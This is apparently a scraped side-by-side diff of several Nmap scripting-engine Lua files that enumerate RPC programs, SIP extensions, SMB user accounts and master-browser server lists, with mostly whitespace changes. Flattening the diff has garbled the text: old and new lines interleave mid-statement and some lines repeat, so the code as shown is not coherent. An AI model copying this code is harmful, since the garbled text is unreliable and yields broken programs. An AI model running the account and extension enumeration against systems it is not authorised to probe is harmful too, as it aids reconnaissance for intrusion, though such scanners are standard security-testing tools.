xid = xid + 1 -- XiD increased by 1 each time (from old RPC grind) <= Any important reason for that?
rpcConn:SetProgID(number)
packet = rpcConn:EncodePacket(xid)
status, err = rpcConn:SendPacket(packet)
if not status then
stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
condvar "signal";
return
end
status, data = rpcConn:ReceivePacket()
if not status then
stdnse.print_debug("%s ReceivePacket(): %s", SCRIPT_NAME, data)
condvar "signal";
return
end
_,response = rpcConn:DecodeHeader(data, 1)
if type(response) == 'table' then
if xid ~= response.xid then
-- Shouldn't happen.
stdnse.print_debug("%s: XID mismtach.", SCRIPT_NAME)
end
-- Look at accept state
-- Not supported version means that we used the right program number
if response.accept_state == rpc.Portmap.AcceptState.PROG_MISMATCH then
result.program = program
result.number = number
_, result.highver = bin.unpack(">I", data, #data - 3)
_, result.lowver = bin.unpack(">I", data, #data - 7)
table.insert(result, true) -- To make #result > 1
-- Otherwise, an Accept state other than Program unavailable is not normal behaviour.
elseif response.accept_state ~= rpc.Portmap.AcceptState.PROG_UNAVAIL then
stdnse.print_debug("%s: returned %s accept state for %s program number.",SCRIPT_NAME, response.accept_state, number)
end
end
end
condvar "signal";
return result
end end
action = function(host, port) action = function(host, port)
local result, lthreads = {}, {} local result, lthreads = {}, {}
if not isRPC(host, port) then if not isRPC(host, port) then
stdnse.print_debug("Target port %s is not a RPC port.", port.number) stdnse.print_debug("Target port %s is not a RPC port.", port.number)
return return
end
local threads = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".threads")) or 4
local iterator = rpcIterator()
if not iterator then
return
end
-- And now, exec our grinder
for i = 1,threads do
local co = stdnse.new_thread(rpcGrinder, host, port, iterator, result)
lthreads[co] = true
end
local condvar = nmap.condvar(result)
repeat
for thread in pairs(lthreads) do
if coroutine.status(thread) == "dead" then
lthreads[thread] = nil
end
end end
local threads = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".threads")) or 4 if ( next(lthreads) ) then
condvar "wait";
local iterator = rpcIterator()
if not iterator then
return
end
-- And now, exec our grinder
for i = 1,threads do
local co = stdnse.new_thread(rpcGrinder, host, port, iterator, result)
lthreads[co] = true
end end
until next(lthreads) == nil;
local condvar = nmap.condvar(result) -- Check the result and set the port version.
repeat if #result > 0 then
for thread in pairs(lthreads) do port.version.name = result.program
if coroutine.status(thread) == "dead" then port.version.extrainfo = "RPC #" .. result.number
lthreads[thread] = nil if result.highver ~= result.lowver then
end port.version.version = ("%s-%s"):format(result.lowver, result.highver)
end
if ( next(lthreads) ) then
condvar "wait";
end
until next(lthreads) == nil;
-- Check the result and set the port version.
if #result > 0 then
port.version.name = result.program
port.version.extrainfo = "RPC #" .. result.number
if result.highver ~= result.lowver then
port.version.version = ("%s-%s"):format(result.lowver, result.highver)
else
port.version.version = result.highver
end
nmap.set_port_version(host, port, "hardmatched")
else else
stdnse.print_debug("Couldn't determine the target RPC service. Running a service not in nmap-rpc ?") port.version.version = result.highver
end end
return nil nmap.set_port_version(host, port, "hardmatched")
else
stdnse.print_debug("Couldn't determine the target RPC service. Running a service not in nmap-rpc ?")
end
return nil
end end

View File

@@ -73,14 +73,14 @@ portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
-- @return status true on success, false on failure. -- @return status true on success, false on failure.
-- @return Response instance on success, error string on failure. -- @return Response instance on success, error string on failure.
local registerext = function(sess, ext) local registerext = function(sess, ext)
-- set session values -- set session values
local request = sip.Request:new(sip.Method.REGISTER) local request = sip.Request:new(sip.Method.REGISTER)
request:setUri("sip:" .. sess.sessdata:getServer()) request:setUri("sip:" .. sess.sessdata:getServer())
sess.sessdata:setUsername(ext) sess.sessdata:setUsername(ext)
request:setSessionData(sess.sessdata) request:setSessionData(sess.sessdata)
return sess:exch(request) return sess:exch(request)
end end
--- Function that returns a number as string with a number of zeroes padded to --- Function that returns a number as string with a number of zeroes padded to
@@ -89,14 +89,14 @@ end
-- @arg padding number of digits to pad up to. -- @arg padding number of digits to pad up to.
-- @return string of padded number. -- @return string of padded number.
local padnum = function(num, padding) local padnum = function(num, padding)
-- How many zeroes do we need to add -- How many zeroes do we need to add
local n = #tostring(num) local n = #tostring(num)
if n >= padding then if n >= padding then
return tostring(num) return tostring(num)
end end
n = padding - n n = padding - n
return string.rep(tostring(0), n) .. tostring(num) return string.rep(tostring(0), n) .. tostring(num)
end end
--- Iterator function that returns values from a lower value up to a greater --- Iterator function that returns values from a lower value up to a greater
@@ -106,11 +106,11 @@ end
-- @arg padding number of digits to pad up to. -- @arg padding number of digits to pad up to.
-- @return string current value. -- @return string current value.
local numiterator = function(minval, maxval, padding) local numiterator = function(minval, maxval, padding)
local i = minval - 1 local i = minval - 1
return function() return function()
i = i + 1 i = i + 1
if i <= maxval then return padnum(i, padding), '' end if i <= maxval then return padnum(i, padding), '' end
end end
end end
--- Iterator function that returns lines from a file --- Iterator function that returns lines from a file
@@ -118,19 +118,19 @@ end
-- @return status false if error. -- @return status false if error.
-- @return string current line. -- @return string current line.
local useriterator = function(list) local useriterator = function(list)
local f = nmap.fetchfile(list) or list local f = nmap.fetchfile(list) or list
if not f then if not f then
return false, ("\n ERROR: Couldn't find %s"):format(list) return false, ("\n ERROR: Couldn't find %s"):format(list)
end end
f = io.open(f) f = io.open(f)
if ( not(f) ) then if ( not(f) ) then
return false, ("\n ERROR: Failed to open %s"):format(list) return false, ("\n ERROR: Failed to open %s"):format(list)
end end
return function() return function()
for line in f:lines() do for line in f:lines() do
return line return line
end
end end
end
end end
--- function that tests for 404 status code when sending a REGISTER request --- function that tests for 404 status code when sending a REGISTER request
@@ -138,128 +138,128 @@ end
-- @arg host Target host table. -- @arg host Target host table.
-- @arg port Target port table. -- @arg port Target port table.
local test404 = function(host, port) local test404 = function(host, port)
local session, status, randext, response local session, status, randext, response
-- Random extension -- Random extension
randext = math.random(1234567,987654321) randext = math.random(1234567,987654321)
session = sip.Session:new(host, port) session = sip.Session:new(host, port)
status = session:connect() status = session:connect()
if not status then if not status then
return false, "ERROR: Failed to connect to the SIP server." return false, "ERROR: Failed to connect to the SIP server."
end end
status, response = registerext(session, randext) status, response = registerext(session, randext)
if not status then if not status then
return false, "ERROR: No response from the SIP server." return false, "ERROR: No response from the SIP server."
end end
if response:getErrorCode() ~= 404 then if response:getErrorCode() ~= 404 then
return false, "Server not returning 404 for random extension." return false, "Server not returning 404 for random extension."
end end
return true return true
end end
Driver = { Driver = {
new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
return o return o
end, end,
connect = function( self ) connect = function( self )
self.session = sip.Session:new(self.host, self.port) self.session = sip.Session:new(self.host, self.port)
local status = self.session:connect() local status = self.session:connect()
if ( not(status) ) then if ( not(status) ) then
return false, brute.Error:new( "Couldn't connect to host" ) return false, brute.Error:new( "Couldn't connect to host" )
end end
return true return true
end, end,
login = function( self, username, password) login = function( self, username, password)
-- We are using the "password" values instead of the "username" so we -- We are using the "password" values instead of the "username" so we
-- could benifit from brute.lua passonly option and setPasswordIterator -- could benifit from brute.lua passonly option and setPasswordIterator
-- function, as we are doing usernames enumeration only and not -- function, as we are doing usernames enumeration only and not
-- credentials brute forcing. -- credentials brute forcing.
local status, response, responsecode local status, response, responsecode
-- Send REGISTER request for each extension -- Send REGISTER request for each extension
status, response = registerext(self.session, password) status, response = registerext(self.session, password)
if status then if status then
responsecode = response:getErrorCode() responsecode = response:getErrorCode()
-- If response status code is 401 or 407, then extension exists but -- If response status code is 401 or 407, then extension exists but
-- requires authentication -- requires authentication
if responsecode == sip.Error.UNAUTHORIZED or if responsecode == sip.Error.UNAUTHORIZED or
responsecode == sip.Error.PROXY_AUTH_REQUIRED then responsecode == sip.Error.PROXY_AUTH_REQUIRED then
return true, brute.Account:new(password, " Auth required", '') return true, brute.Account:new(password, " Auth required", '')
-- If response status code is 200, then extension exists -- If response status code is 200, then extension exists
-- and requires no authentication -- and requires no authentication
elseif responsecode == sip.Error.OK then elseif responsecode == sip.Error.OK then
return true, brute.Account:new(password, " No auth", '') return true, brute.Account:new(password, " No auth", '')
-- If response status code is 200, then extension exists -- If response status code is 200, then extension exists
-- but access is forbidden. -- but access is forbidden.
elseif responsecode == sip.Error.FORBIDDEN then elseif responsecode == sip.Error.FORBIDDEN then
return true, brute.Account:new(password, " Forbidden", '') return true, brute.Account:new(password, " Forbidden", '')
end end
return false,brute.Error:new( "Not found" ) return false,brute.Error:new( "Not found" )
else else
return false,brute.Error:new( "No response" ) return false,brute.Error:new( "No response" )
end end
end, end,
disconnect = function(self) disconnect = function(self)
self.session:close() self.session:close()
return true return true
end, end,
} }
action = function(host, port) action = function(host, port)
local result, lthreads = {}, {} local result, lthreads = {}, {}
local status, err local status, err
local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0 local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0 local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
local maxext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".maxext")) or 999 local maxext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".maxext")) or 999
local padding = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".padding")) or 0 local padding = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".padding")) or 0
local users = stdnse.get_script_args(SCRIPT_NAME .. ".users") local users = stdnse.get_script_args(SCRIPT_NAME .. ".users")
local usersfile = stdnse.get_script_args(SCRIPT_NAME .. ".userslist") local usersfile = stdnse.get_script_args(SCRIPT_NAME .. ".userslist")
or "nselib/data/usernames.lst" or "nselib/data/usernames.lst"
-- min extension should be less than max extension. -- min extension should be less than max extension.
if minext > maxext then if minext > maxext then
return "ERROR: maxext should be greater or equal than minext." return "ERROR: maxext should be greater or equal than minext."
end end
-- If not set to zero, number of digits to pad up to should have less or -- If not set to zero, number of digits to pad up to should have less or
-- equal the number of digits of max extension. -- equal the number of digits of max extension.
if padding ~= 0 and #tostring(maxext) > padding then if padding ~= 0 and #tostring(maxext) > padding then
return "ERROR: padding should be greater or equal to number of digits of maxext." return "ERROR: padding should be greater or equal to number of digits of maxext."
end
-- We test for false positives by sending a request for a random extension
-- and checking if it did return a 404.
status, err = test404(host, port)
if not status then
return err
end
local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME
local iterator = numiterator(minext, maxext, padding)
if users then
local usernames, err = useriterator(usersfile)
if not usernames then
return err
end end
-- Concat numbers and users iterators
iterator = unpwdb.concat_iterators(iterator, usernames)
end
engine:setPasswordIterator(iterator)
engine.options.passonly = true
status, result = engine:start()
-- We test for false positives by sending a request for a random extension return result
-- and checking if it did return a 404.
status, err = test404(host, port)
if not status then
return err
end
local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME
local iterator = numiterator(minext, maxext, padding)
if users then
local usernames, err = useriterator(usersfile)
if not usernames then
return err
end
-- Concat numbers and users iterators
iterator = unpwdb.concat_iterators(iterator, usernames)
end
engine:setPasswordIterator(iterator)
engine.options.passonly = true
status, result = engine:start()
return result
end end

View File

@@ -146,120 +146,120 @@ dependencies = {"smb-brute"}
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
action = function(host) action = function(host)
local i, j local i, j
local samr_status = false local samr_status = false
local lsa_status = false local lsa_status = false
local samr_result = "Didn't run" local samr_result = "Didn't run"
local lsa_result = "Didn't run" local lsa_result = "Didn't run"
local names = {} local names = {}
local names_lookup = {} local names_lookup = {}
local response = {} local response = {}
local samronly = nmap.registry.args.samronly local samronly = nmap.registry.args.samronly
local lsaonly = nmap.registry.args.lsaonly local lsaonly = nmap.registry.args.lsaonly
local do_samr = samronly ~= nil or (samronly == nil and lsaonly == nil) local do_samr = samronly ~= nil or (samronly == nil and lsaonly == nil)
local do_lsa = lsaonly ~= nil or (samronly == nil and lsaonly == nil) local do_lsa = lsaonly ~= nil or (samronly == nil and lsaonly == nil)
-- Try enumerating through SAMR. This is the better source of information, if we can get it. -- Try enumerating through SAMR. This is the better source of information, if we can get it.
if(do_samr) then if(do_samr) then
samr_status, samr_result = msrpc.samr_enum_users(host) samr_status, samr_result = msrpc.samr_enum_users(host)
if(samr_status) then if(samr_status) then
-- Copy the returned array into the names[] table -- Copy the returned array into the names[] table
stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result) stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result)
for i = 1, #samr_result, 1 do for i = 1, #samr_result, 1 do
-- Insert the full info into the names list -- Insert the full info into the names list
table.insert(names, samr_result[i]) table.insert(names, samr_result[i])
-- Set the names_lookup value to 'true' to avoid duplicates -- Set the names_lookup value to 'true' to avoid duplicates
names_lookup[samr_result[i]['name']] = true names_lookup[samr_result[i]['name']] = true
end end
end end
end end
-- Try enumerating through LSA. -- Try enumerating through LSA.
if(do_lsa) then if(do_lsa) then
lsa_status, lsa_result = msrpc.lsa_enum_users(host) lsa_status, lsa_result = msrpc.lsa_enum_users(host)
if(lsa_status) then if(lsa_status) then
-- Copy the returned array into the names[] table -- Copy the returned array into the names[] table
stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result) stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result)
for i = 1, #lsa_result, 1 do for i = 1, #lsa_result, 1 do
if(lsa_result[i]['name'] ~= nil) then if(lsa_result[i]['name'] ~= nil) then
-- Check if the name already exists -- Check if the name already exists
if(not(names_lookup[lsa_result[i]['name']])) then if(not(names_lookup[lsa_result[i]['name']])) then
table.insert(names, lsa_result[i]) table.insert(names, lsa_result[i])
end end
end end
end end
end end
end end
-- Check if both failed -- Check if both failed
if(samr_status == false and lsa_status == false) then if(samr_status == false and lsa_status == false) then
if(string.find(lsa_result, 'ACCESS_DENIED')) then if(string.find(lsa_result, 'ACCESS_DENIED')) then
return stdnse.format_output(false, "Access denied while trying to enumerate users; except against Windows 2000, Guest or better is typically required") return stdnse.format_output(false, "Access denied while trying to enumerate users; except against Windows 2000, Guest or better is typically required")
end end
return stdnse.format_output(false, {"Couldn't enumerate users", "SAMR returned " .. samr_result, "LSA returned " .. lsa_result}) return stdnse.format_output(false, {"Couldn't enumerate users", "SAMR returned " .. samr_result, "LSA returned " .. lsa_result})
end end
-- Sort them -- Sort them
table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end) table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)
-- Break them out by domain -- Break them out by domain
local domains = {} local domains = {}
for _, name in ipairs(names) do for _, name in ipairs(names) do
local domain = name['domain'] local domain = name['domain']
-- Make sure the entry in the domains table exists -- Make sure the entry in the domains table exists
if(not(domains[domain])) then if(not(domains[domain])) then
domains[domain] = {} domains[domain] = {}
end end
table.insert(domains[domain], name) table.insert(domains[domain], name)
end end
-- Check if we actually got any names back -- Check if we actually got any names back
if(#names == 0) then if(#names == 0) then
table.insert(response, "Couldn't find any account names, sorry!") table.insert(response, "Couldn't find any account names, sorry!")
else else
-- If we're not verbose, just print out the names. Otherwise, print out everything we can -- If we're not verbose, just print out the names. Otherwise, print out everything we can
if(nmap.verbosity() < 1) then if(nmap.verbosity() < 1) then
for domain, domain_users in pairs(domains) do for domain, domain_users in pairs(domains) do
-- Make an impromptu list of users -- Make an impromptu list of users
local names = {} local names = {}
for _, info in ipairs(domain_users) do for _, info in ipairs(domain_users) do
table.insert(names, info['name']) table.insert(names, info['name'])
end end
-- Add this domain to the response -- Add this domain to the response
table.insert(response, string.format("Domain: %s; Users: %s", domain, stdnse.strjoin(", ", names))) table.insert(response, string.format("Domain: %s; Users: %s", domain, stdnse.strjoin(", ", names)))
end end
else else
for domain, domain_users in pairs(domains) do for domain, domain_users in pairs(domains) do
for _, info in ipairs(domain_users) do for _, info in ipairs(domain_users) do
local response_part = {} local response_part = {}
response_part['name'] = string.format("%s\\%s (RID: %d)", domain, info['name'], info['rid']) response_part['name'] = string.format("%s\\%s (RID: %d)", domain, info['name'], info['rid'])
if(info['fullname']) then if(info['fullname']) then
table.insert(response_part, string.format("Full name: %s", info['fullname'])) table.insert(response_part, string.format("Full name: %s", info['fullname']))
end end
if(info['description']) then if(info['description']) then
table.insert(response_part, string.format("Description: %s", info['description'])) table.insert(response_part, string.format("Description: %s", info['description']))
end end
if(info['flags']) then if(info['flags']) then
table.insert(response_part, string.format("Flags: %s", stdnse.strjoin(", ", info['flags']))) table.insert(response_part, string.format("Flags: %s", stdnse.strjoin(", ", info['flags'])))
end end
table.insert(response, response_part) table.insert(response, response_part)
end end
end end
end end
end end
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -42,13 +42,13 @@ Queries information managed by the Windows Master Browser.
-- |_ WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server -- |_ WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server
-- --
-- @args smb-mbenum.format (optional) if set, changes the format of the result -- @args smb-mbenum.format (optional) if set, changes the format of the result
-- returned by the script. There are three possible formats: -- returned by the script. There are three possible formats:
-- 1. Ordered by type horizontally -- 1. Ordered by type horizontally
-- 2. Ordered by type vertically -- 2. Ordered by type vertically
-- 3. Ordered by type vertically with details (default) -- 3. Ordered by type vertically with details (default)
-- --
-- @args smb-mbenum.filter (optional) if set, queries the browser for a -- @args smb-mbenum.filter (optional) if set, queries the browser for a
-- specific type of server (@see ServerTypes) -- specific type of server (@see ServerTypes)
-- --
-- @args smb-mbenum.domain (optional) if not specified, lists the domain of the queried browser -- @args smb-mbenum.domain (optional) if not specified, lists the domain of the queried browser
-- --
@@ -67,167 +67,167 @@ hostrule = function(host) return smb.get_port(host) ~= nil end
local function log(msg) stdnse.print_debug(3, msg) end local function log(msg) stdnse.print_debug(3, msg) end
ServerTypes = { ServerTypes = {
SV_TYPE_WORKSTATION = 0x00000001, SV_TYPE_WORKSTATION = 0x00000001,
SV_TYPE_SERVER = 0x00000002, SV_TYPE_SERVER = 0x00000002,
SV_TYPE_SQLSERVER = 0x00000004, SV_TYPE_SQLSERVER = 0x00000004,
SV_TYPE_DOMAIN_CTRL = 0x00000008, SV_TYPE_DOMAIN_CTRL = 0x00000008,
SV_TYPE_DOMAIN_BAKCTRL = 0x00000010, SV_TYPE_DOMAIN_BAKCTRL = 0x00000010,
SV_TYPE_TIME_SOURCE = 0x00000020, SV_TYPE_TIME_SOURCE = 0x00000020,
SV_TYPE_AFP = 0x00000040, SV_TYPE_AFP = 0x00000040,
SV_TYPE_NOVELL = 0x00000080, SV_TYPE_NOVELL = 0x00000080,
SV_TYPE_DOMAIN_MEMBER = 0x00000100, SV_TYPE_DOMAIN_MEMBER = 0x00000100,
SV_TYPE_PRINTQ_SERVER = 0x00000200, SV_TYPE_PRINTQ_SERVER = 0x00000200,
SV_TYPE_DIALIN_SERVER = 0x00000400, SV_TYPE_DIALIN_SERVER = 0x00000400,
SV_TYPE_SERVER_UNIX = 0x00000800, SV_TYPE_SERVER_UNIX = 0x00000800,
SV_TYPE_NT = 0x00001000, SV_TYPE_NT = 0x00001000,
SV_TYPE_WFW = 0x00002000, SV_TYPE_WFW = 0x00002000,
SV_TYPE_SERVER_MFPN = 0x00004000, SV_TYPE_SERVER_MFPN = 0x00004000,
SV_TYPE_SERVER_NT = 0x00008000, SV_TYPE_SERVER_NT = 0x00008000,
SV_TYPE_POTENTIAL_BROWSER = 0x00010000, SV_TYPE_POTENTIAL_BROWSER = 0x00010000,
SV_TYPE_BACKUP_BROWSER = 0x00020000, SV_TYPE_BACKUP_BROWSER = 0x00020000,
SV_TYPE_MASTER_BROWSER = 0x00040000, SV_TYPE_MASTER_BROWSER = 0x00040000,
SV_TYPE_DOMAIN_MASTER = 0x00080000, SV_TYPE_DOMAIN_MASTER = 0x00080000,
SV_TYPE_WINDOWS = 0x00400000, SV_TYPE_WINDOWS = 0x00400000,
SV_TYPE_DFS = 0x00800000, SV_TYPE_DFS = 0x00800000,
SV_TYPE_CLUSTER_NT = 0x01000000, SV_TYPE_CLUSTER_NT = 0x01000000,
SV_TYPE_TERMINALSERVER = 0x02000000, SV_TYPE_TERMINALSERVER = 0x02000000,
SV_TYPE_CLUSTER_VS_NT = 0x04000000, SV_TYPE_CLUSTER_VS_NT = 0x04000000,
SV_TYPE_DCE = 0x10000000, SV_TYPE_DCE = 0x10000000,
SV_TYPE_ALTERNATE_XPORT = 0x20000000, SV_TYPE_ALTERNATE_XPORT = 0x20000000,
SV_TYPE_LOCAL_LIST_ONLY = 0x40000000, SV_TYPE_LOCAL_LIST_ONLY = 0x40000000,
SV_TYPE_DOMAIN_ENUM = 0x80000000, SV_TYPE_DOMAIN_ENUM = 0x80000000,
SV_TYPE_ALL = 0xFFFFFFFF SV_TYPE_ALL = 0xFFFFFFFF
} }
TypeNames = { TypeNames = {
SV_TYPE_WORKSTATION = { long = "Workstation", short = "WKS" }, SV_TYPE_WORKSTATION = { long = "Workstation", short = "WKS" },
SV_TYPE_SERVER = { long = "Server service", short = "SRVSVC" }, SV_TYPE_SERVER = { long = "Server service", short = "SRVSVC" },
SV_TYPE_SQLSERVER = { long = "SQL Server", short = "MSSQL" }, SV_TYPE_SQLSERVER = { long = "SQL Server", short = "MSSQL" },
SV_TYPE_DOMAIN_CTRL = { long = "Domain Controller", short = "DC" }, SV_TYPE_DOMAIN_CTRL = { long = "Domain Controller", short = "DC" },
SV_TYPE_DOMAIN_BAKCTRL = { long = "Backup Domain Controller", short = "BDC" }, SV_TYPE_DOMAIN_BAKCTRL = { long = "Backup Domain Controller", short = "BDC" },
SV_TYPE_TIME_SOURCE = { long = "Time Source", short = "TIME" }, SV_TYPE_TIME_SOURCE = { long = "Time Source", short = "TIME" },
SV_TYPE_AFP = { long = "Apple File Protocol Server", short = "AFP" }, SV_TYPE_AFP = { long = "Apple File Protocol Server", short = "AFP" },
SV_TYPE_NOVELL = { long = "Novell Server", short = "NOVELL" }, SV_TYPE_NOVELL = { long = "Novell Server", short = "NOVELL" },
SV_TYPE_DOMAIN_MEMBER = { long = "LAN Manager Domain Member", short = "MEMB" }, SV_TYPE_DOMAIN_MEMBER = { long = "LAN Manager Domain Member", short = "MEMB" },
SV_TYPE_PRINTQ_SERVER = { long = "Print server", short = "PRINT" }, SV_TYPE_PRINTQ_SERVER = { long = "Print server", short = "PRINT" },
SV_TYPE_DIALIN_SERVER = { long = "Dial-in server", short = "DIALIN" }, SV_TYPE_DIALIN_SERVER = { long = "Dial-in server", short = "DIALIN" },
SV_TYPE_SERVER_UNIX = { long = "Unix server", short = "UNIX" }, SV_TYPE_SERVER_UNIX = { long = "Unix server", short = "UNIX" },
SV_TYPE_NT = { long = "Windows NT/2000/XP/2003 server", short = "NT" }, SV_TYPE_NT = { long = "Windows NT/2000/XP/2003 server", short = "NT" },
SV_TYPE_WFW = { long = "Windows for workgroups", short = "WFW" }, SV_TYPE_WFW = { long = "Windows for workgroups", short = "WFW" },
SV_TYPE_SERVER_MFPN = { long = "Microsoft File and Print for Netware", short="MFPN" }, SV_TYPE_SERVER_MFPN = { long = "Microsoft File and Print for Netware", short="MFPN" },
SV_TYPE_SERVER_NT = { long = "Server", short = "SRV" }, SV_TYPE_SERVER_NT = { long = "Server", short = "SRV" },
SV_TYPE_POTENTIAL_BROWSER = { long = "Potential Browser", short = "POTBRWS" }, SV_TYPE_POTENTIAL_BROWSER = { long = "Potential Browser", short = "POTBRWS" },
SV_TYPE_BACKUP_BROWSER = { long = "Backup Browser", short = "BCKBRWS"}, SV_TYPE_BACKUP_BROWSER = { long = "Backup Browser", short = "BCKBRWS"},
SV_TYPE_MASTER_BROWSER = { long = "Master Browser", short = "MBRWS"}, SV_TYPE_MASTER_BROWSER = { long = "Master Browser", short = "MBRWS"},
SV_TYPE_DOMAIN_MASTER = { long = "Domain Master Browser", short = "DOMBRWS"}, SV_TYPE_DOMAIN_MASTER = { long = "Domain Master Browser", short = "DOMBRWS"},
SV_TYPE_WINDOWS = { long = "Windows 95/98/ME", short="WIN95"}, SV_TYPE_WINDOWS = { long = "Windows 95/98/ME", short="WIN95"},
SV_TYPE_DFS = { long = "DFS Root", short = "DFS"}, SV_TYPE_DFS = { long = "DFS Root", short = "DFS"},
SV_TYPE_TERMINALSERVER = { long = "Terminal Server", short = "TS" }, SV_TYPE_TERMINALSERVER = { long = "Terminal Server", short = "TS" },
} }
OutputFormat = { OutputFormat = {
BY_TYPE_H = 1, BY_TYPE_H = 1,
BY_TYPE_V = 2, BY_TYPE_V = 2,
BY_TYPE_V_DETAILED = 3, BY_TYPE_V_DETAILED = 3,
} }
action = function(host, port) action = function(host, port)
local status, smbstate = smb.start(host) local status, smbstate = smb.start(host)
local err, entries local err, entries
local path = ("\\\\%s\\IPC$"):format(host.ip) local path = ("\\\\%s\\IPC$"):format(host.ip)
local detail_level = 1 local detail_level = 1
local format = stdnse.get_script_args("smb-mbenum.format") or OutputFormat.BY_TYPE_V_DETAILED local format = stdnse.get_script_args("smb-mbenum.format") or OutputFormat.BY_TYPE_V_DETAILED
local filter = stdnse.get_script_args("smb-mbenum.filter") or ServerTypes.SV_TYPE_ALL local filter = stdnse.get_script_args("smb-mbenum.filter") or ServerTypes.SV_TYPE_ALL
local domain = stdnse.get_script_args("smb-mbenum.domain") local domain = stdnse.get_script_args("smb-mbenum.domain")
filter = tonumber(filter) or ServerTypes[filter] filter = tonumber(filter) or ServerTypes[filter]
format = tonumber(format) format = tonumber(format)
if ( not(filter) ) then if ( not(filter) ) then
return "\n The argument smb-mbenum.filter contained an invalid value." return "\n The argument smb-mbenum.filter contained an invalid value."
end end
if ( not(format) ) then if ( not(format) ) then
return "\n The argument smb-mbenum.format contained an invalid value." return "\n The argument smb-mbenum.format contained an invalid value."
end end
status, err = smb.negotiate_protocol(smbstate, {}) status, err = smb.negotiate_protocol(smbstate, {})
if ( not(status) ) then if ( not(status) ) then
log("ERROR: smb.negotiate_protocol failed") log("ERROR: smb.negotiate_protocol failed")
return "\n ERROR: Failed to connect to browser service" return "\n ERROR: Failed to connect to browser service"
end end
status, err = smb.start_session(smbstate, {}) status, err = smb.start_session(smbstate, {})
if ( not(status) ) then if ( not(status) ) then
log("ERROR: smb.negotiate_protocol failed") log("ERROR: smb.negotiate_protocol failed")
return "\n ERROR: Failed to connect to browser service" return "\n ERROR: Failed to connect to browser service"
end end
status, err = smb.tree_connect(smbstate, path, {}) status, err = smb.tree_connect(smbstate, path, {})
if ( not(status) ) then if ( not(status) ) then
log("ERROR: smb.negotiate_protocol failed") log("ERROR: smb.negotiate_protocol failed")
return "\n ERROR: Failed to connect to browser service" return "\n ERROR: Failed to connect to browser service"
end end
status, entries = msrpc.rap_netserverenum2(smbstate, domain, filter, detail_level) status, entries = msrpc.rap_netserverenum2(smbstate, domain, filter, detail_level)
if ( not(status) ) then if ( not(status) ) then
log("ERROR: msrpc.call_lanmanapi failed") log("ERROR: msrpc.call_lanmanapi failed")
return "\n ERROR: " .. entries return "\n ERROR: " .. entries
end end
status, err = smb.tree_disconnect(smbstate) status, err = smb.tree_disconnect(smbstate)
if ( not(status) ) then log("ERROR: smb.tree_disconnect failed") end if ( not(status) ) then log("ERROR: smb.tree_disconnect failed") end
status, err = smb.logoff(smbstate) status, err = smb.logoff(smbstate)
if ( not(status) ) then log("ERROR: smb.logoff failed") end if ( not(status) ) then log("ERROR: smb.logoff failed") end
status, err = smb.stop(smbstate) status, err = smb.stop(smbstate)
if ( not(status) ) then log("ERROR: smb.stop failed") end if ( not(status) ) then log("ERROR: smb.stop failed") end
local results, output = {}, {} local results, output = {}, {}
for k, _ in pairs(ServerTypes) do for k, _ in pairs(ServerTypes) do
for _, server in ipairs(entries) do for _, server in ipairs(entries) do
if ( TypeNames[k] and bit.band(server.type,ServerTypes[k]) == ServerTypes[k] ) then if ( TypeNames[k] and bit.band(server.type,ServerTypes[k]) == ServerTypes[k] ) then
results[TypeNames[k].long] = results[TypeNames[k].long] or {} results[TypeNames[k].long] = results[TypeNames[k].long] or {}
if ( format == OutputFormat.BY_TYPE_V_DETAILED ) then if ( format == OutputFormat.BY_TYPE_V_DETAILED ) then
table.insert(results[TypeNames[k].long], server) table.insert(results[TypeNames[k].long], server)
else else
table.insert(results[TypeNames[k].long], server.name) table.insert(results[TypeNames[k].long], server.name)
end end
end end
end end
end end
if ( format == OutputFormat.BY_TYPE_H ) then if ( format == OutputFormat.BY_TYPE_H ) then
for k, v in pairs(results) do for k, v in pairs(results) do
local row = ("%s: %s"):format( k, stdnse.strjoin(",", v) ) local row = ("%s: %s"):format( k, stdnse.strjoin(",", v) )
table.insert(output, row) table.insert(output, row)
end end
table.sort(output) table.sort(output)
elseif( format == OutputFormat.BY_TYPE_V ) then elseif( format == OutputFormat.BY_TYPE_V ) then
for k, v in pairs(results) do for k, v in pairs(results) do
v.name = k v.name = k
table.insert(output, v) table.insert(output, v)
end end
table.sort(output, function(a,b) return a.name < b.name end) table.sort(output, function(a,b) return a.name < b.name end)
elseif( format == OutputFormat.BY_TYPE_V_DETAILED ) then elseif( format == OutputFormat.BY_TYPE_V_DETAILED ) then
for k, v in pairs(results) do for k, v in pairs(results) do
local cat_tab = tab.new(3) local cat_tab = tab.new(3)
table.sort(v, function(a,b) return a.name < b.name end ) table.sort(v, function(a,b) return a.name < b.name end )
for _, server in pairs(v) do for _, server in pairs(v) do
tab.addrow( tab.addrow(
cat_tab, cat_tab,
server.name, server.name,
("%d.%d"):format(server.version.major,server.version.minor), ("%d.%d"):format(server.version.major,server.version.minor),
server.comment server.comment
) )
end end
